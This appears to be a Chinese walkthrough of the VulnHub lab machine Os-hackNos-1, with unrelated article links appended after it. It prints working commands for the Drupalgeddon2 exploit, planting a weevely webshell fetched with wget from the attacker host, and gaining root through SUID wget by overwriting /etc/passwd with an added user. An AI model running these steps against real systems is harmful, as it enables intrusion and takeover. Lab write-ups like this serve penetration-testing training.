0x01环境搭建

靶机链接: https://www.vulnhub.com/entry/hacknos-os-hacknos,401/

发布日期: 2019.11.27

靶机描述:

描述

难度:容易中级

标记:2标记第一个用户和第二个根

学习:利用| Web应用程序 枚举 特权提升

网址:www.hackNos.com

邮件:contact@hackNos.com

实验主机:kali linux虚拟机(VM)
实验靶机:Os-hackNos-1靶机(Virtualbox)

实验网络:桥接模式

实验难度:简单

0x02信息收集

1.主机发现

netdiscover -i eth0

或者用nmap

nmap -sn 192.168.43.0/24

ping探测扫描主机, 不进行端口扫描 (测试过对方主机把icmp包都丢弃掉,依然能检测到对方开机状态)

2.端口扫描

nmap 192.168.43.226 -O -sS -sV -v

-O 判断是什么操作系统

-sS 半开放扫描(非3次握手的tcp扫描)

-sV 版本检测,比如扫出SSH端口,然后得出它的版本号

-v 输出详细信息

发现它开启了22:ssh和80:http服务

http://192.168.43.226:80

打开一看是一个apache的界面,应该存在别的页面,先扫一下目录

dirb http://192.168.43.226

发现了如下路径

0x03漏洞发现

查看drupal目录

0x04漏洞利用

知道drupal版本为7,到github上去找exp

然后下载

git clone https://github.com/dreadlocked/Drupalgeddon2.git

在运行脚本前,需要预装依赖包highline

gem install highline

Gem是一个管理Ruby库和程序的标准包

执行脚本

./drupalgeddon2.rb http://192.168.43.226/drupal/

成功获得一个shell

查看权限

查看/etc/passwd,发现james用户

0x05权限提升

weevely

使用weevely生成小马

weevely generate hello ./door.php

把小马传到靶机上

scp root@192.168.43.221:/home/daye666/tools/weevely_ma/door.php /var/www/html/drupal

scp传输失败,试试wget

wget是一个从网络上自动下载文件的自由工具,支持通过HTTP、HTTPS、FTP三个最常见的TCP/IP协议下载,并可以使用HTTP代理。

kali先开启web服务
python -m SimpleHTTPServer 8000
靶机wget下载door.php
wget http://192.168.43.221:8000/door.php

ps:

在linux系统上安装了Python后,Python自带了一个WEB服务器 SimpleHTTPServer

可以使用  python -m SimpleHTTPServer 快速搭建一个http服务,提供一个文件浏览的web服务。

SimpleHTTPServer使用方法

  1)进入待分享的目录
  2)执行命令python -m SimpleHTTPServer 端口号
    注意:不填端口号则默认使用8000端口。
  3)浏览器访问该主机的地址:http://IP:端口号/

上传成功

weevely连接马儿

weevely http://192.168.43.226/drupal/door.php hello

浏览用户目录

在james用户目录下发现一串MD5哈希,估计是密码

bae11ce4f67af91fa58576c1da2aad4b

解密失败

浏览网站目录

发现base64编码的一串密文

KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==

解密后为:

+++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
>+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
++.<

去这个网站解密:http://tool.bugku.com/brainfuck/?wafcloud=1

再解密:

james:Hacker@4514

切换用户

没有tty终端和密码请求程序,不能切换用户

suid提权

先检查哪些命令具有suid权限(具有suid权限的命令可以以文件拥有者的权限执行)

audit_suidsgid -only-suid /

当然也可以直接在shell中运行以下命令寻找既为root用户,也拥有SUID权限的程序;

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

我们发现wget命令可以可以使普通用户以root权限执行,即我们可以利用它修改passwd文件,加入特权用户

生成密码哈希

openssl passwd -1 -salt salt daye
$1$salt$DdAoiqtA/a/oeQbF.cvVY1

使用weevely自带的file_download命令下载passwd文件到本地

file_download /etc/passwd /home/daye666/tools/passwd

已经在本地生成了passwd文件

写入特权用户

echo 'daye:$1$salt$DdAoiqtA/a/oeQbF.cvVY1:0:0::/root/:/bin/bash' >> passwd

然后用kali继续开启一个快速的http

使用wget -O命令替代靶机原来的passwd文件(suid提权意义所在)

wget http://192.168.43.221:8000/passwd -O /etc/passwd

切换用户失败

此时需要一个标准shell,参考 https://serverfault.com/questions/544328/su-must-be-run-from-a-terminal

得知PHP shell无法执行交互行为,使用su命令会请求密码输入(askpass)

因此,我们需要获得一个标准shell,请教表哥,说直接用meterperter即可

use exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 192.168.43.226
set targeturi /drupal
run

使用meterpreter的shell命令切换到标准终端,输入 python3 -c 'import pty; pty.spawn("/bin/bash")'即获取标准shell

此时,切换用户,已经是root

参考:https://blog.csdn.net/qlqlulu/article/details/109958922

Vulnhub系列:Os-hackNos的更多相关文章

  1. Vulnhub系列——持续更新

    vulnhub系列--持续更新 一 · XXE Lab: 1 ​ 使用vmware搭建靶机 ​ 扫描存活主机 ​ 找到目标主机--192.168.1.18 ​ 开始扫描目标端口 ​ 发现只开了一个80 ...

  2. VulnHub系列(一)DC-1

    环境 kali linux 和 DC-1 都是搭建在VMware上的虚拟机,都是NAT模式. 主机发现 NAT模式下虚拟机没有被分配真实的ip地址,他们通过共享宿主机的ip地址访问互联网.我们可以通过 ...

  3. Vulnhub系列:chili

    0x01 靶机信息 靶机:chili难度:简单下载:https://www.vulnhub.com/entry/chili-1,558/ 靶机描述: 0x02 信息收集 nmap扫描存活主机确定靶场i ...

  4. Vulnhub系列:Tomato(文件包含getshell)

    这个靶机挺有意思,它是通过文件包含漏洞进行的getshell,主要姿势是将含有一句话木马的内容记录到ssh的登录日志中,然后利用文件包含漏洞进行包含,从而拿到shell 0x01 靶机信息 靶机:To ...

  5. json模块、os模块

    一.eval模拟序列化操作 1.序列化 内存中的数据-------->转成一种中间格式(字符串)---------->存到文件中 dic={'name':'egon','age':18} ...

  6. python os模块进程函数

    Table of Contents 1. 系统进程 2. 举例 2.1. os.fork 2.2. os.exec 和 os.system 2.3. os.wait 3. 总结 系统进程 今天在看&l ...

  7. python 之 序列化与反序列化、os模块

    6.6 序列化与反序列化 特殊的字符串 , 只有:int / str / list / dict 最外层必须是列表或字典,如果包含字符串,必须是双引号"". 序列化:将Python ...

  8. mount不是很熟悉 转载文章了解下 转自http://forum.ubuntu.org.cn/viewtopic.php?f=120&t=257333

    纯粹针对刚刚解封开包的新新手,老鸟们请自觉绕行,否则浪费你的时间你非要逼我做谋杀犯可不光我的事你还没地方说理去.如果你正好是个崭新的新手,就耐心的花点时间看看吧,至少大概看看,不要在一个陌生又黑暗的到 ...

  9. python几个重要的模块备忘

    一:模块使用方法 二:时间模块time 三:系统接口模块os和sys 四:数据保存的几个模块json,pickle,xml,configparse 五:数据复制移动模块shutil 六:日志模块log ...

随机推荐

  1. 联盛德 HLK-W806 (十): 在 CDK IDE开发环境中使用WM-SDK-W806

    目录 联盛德 HLK-W806 (一): Ubuntu20.04下的开发环境配置, 编译和烧录说明 联盛德 HLK-W806 (二): Win10下的开发环境配置, 编译和烧录说明 联盛德 HLK-W ...

  2. 2、动态规划接替套路框架——Go语言版

    前情提示:Go语言学习者.本文参考https://labuladong.gitee.io/algo,代码自己参考抒写,若有不妥之处,感谢指正 关于golang算法文章,为了便于下载和整理,都已开源放在 ...

  3. 由一次 UPDATE 过慢 SQL 优化而总结出的经验

    最近,线上的 ETL 数据归档 SQL 发生了点问题,有一个 UPDATE SQL 跑了两天还没跑出来: update t_order_record set archive_id = '420a7fe ...

  4. Python的 垃圾回收机制

    垃圾回收 1. 小整数对象池 整数在程序中的使用非常广泛,Python为了优化速度,使用了小整数对象池, 避免为整数频繁申请和销毁内存空间. Python 对小整数的定义是 [-5, 257) 这些整 ...

  5. STL源码剖析-智能指针shared_ptr源码

    目录一. 引言二. 代码实现 2.1 模拟实现shared_ptr2.2 测试用例三. 潜在问题分析 你可能还需要了解模拟实现C++标准库中的auto_ptr一. 引言与auto_ptr大同小异,sh ...

  6. JAVA实现QQ第三方登录

    首先在QQ互联: https://connect.qq.com/manage.html 申请账号,并且进行资料审核,同时创建应用(设置回调地址) 申请应用完后,会有app_ID.app_KEY等参数 ...

  7. 缓存Bigkey坚决不要用,拆分是王道

    大家好,我是架构摆渡人.这是实践经验系列的第四篇文章,这个系列会给大家分享很多在实际工作中有用的经验,如果有收获,还请分享给更多的朋友. 背景介绍 在高并发的业务场景中,缓存是必须要上的,用来扛高并发 ...

  8. c++之折半查找(二分查找)递归与非递归的实现

    递归实现 template<typename T> int binary_search2(const T arr[], const int left, const int right, c ...

  9. 【LeetCode】326. Power of Three 解题报告(Java & Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 循环 递归 取对数 判断是不是最大3的倍数的因子 日 ...

  10. 【LeetCode】689. Maximum Sum of 3 Non-Overlapping Subarrays 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 题目地址: https://leetcode.com/problems/maximum- ...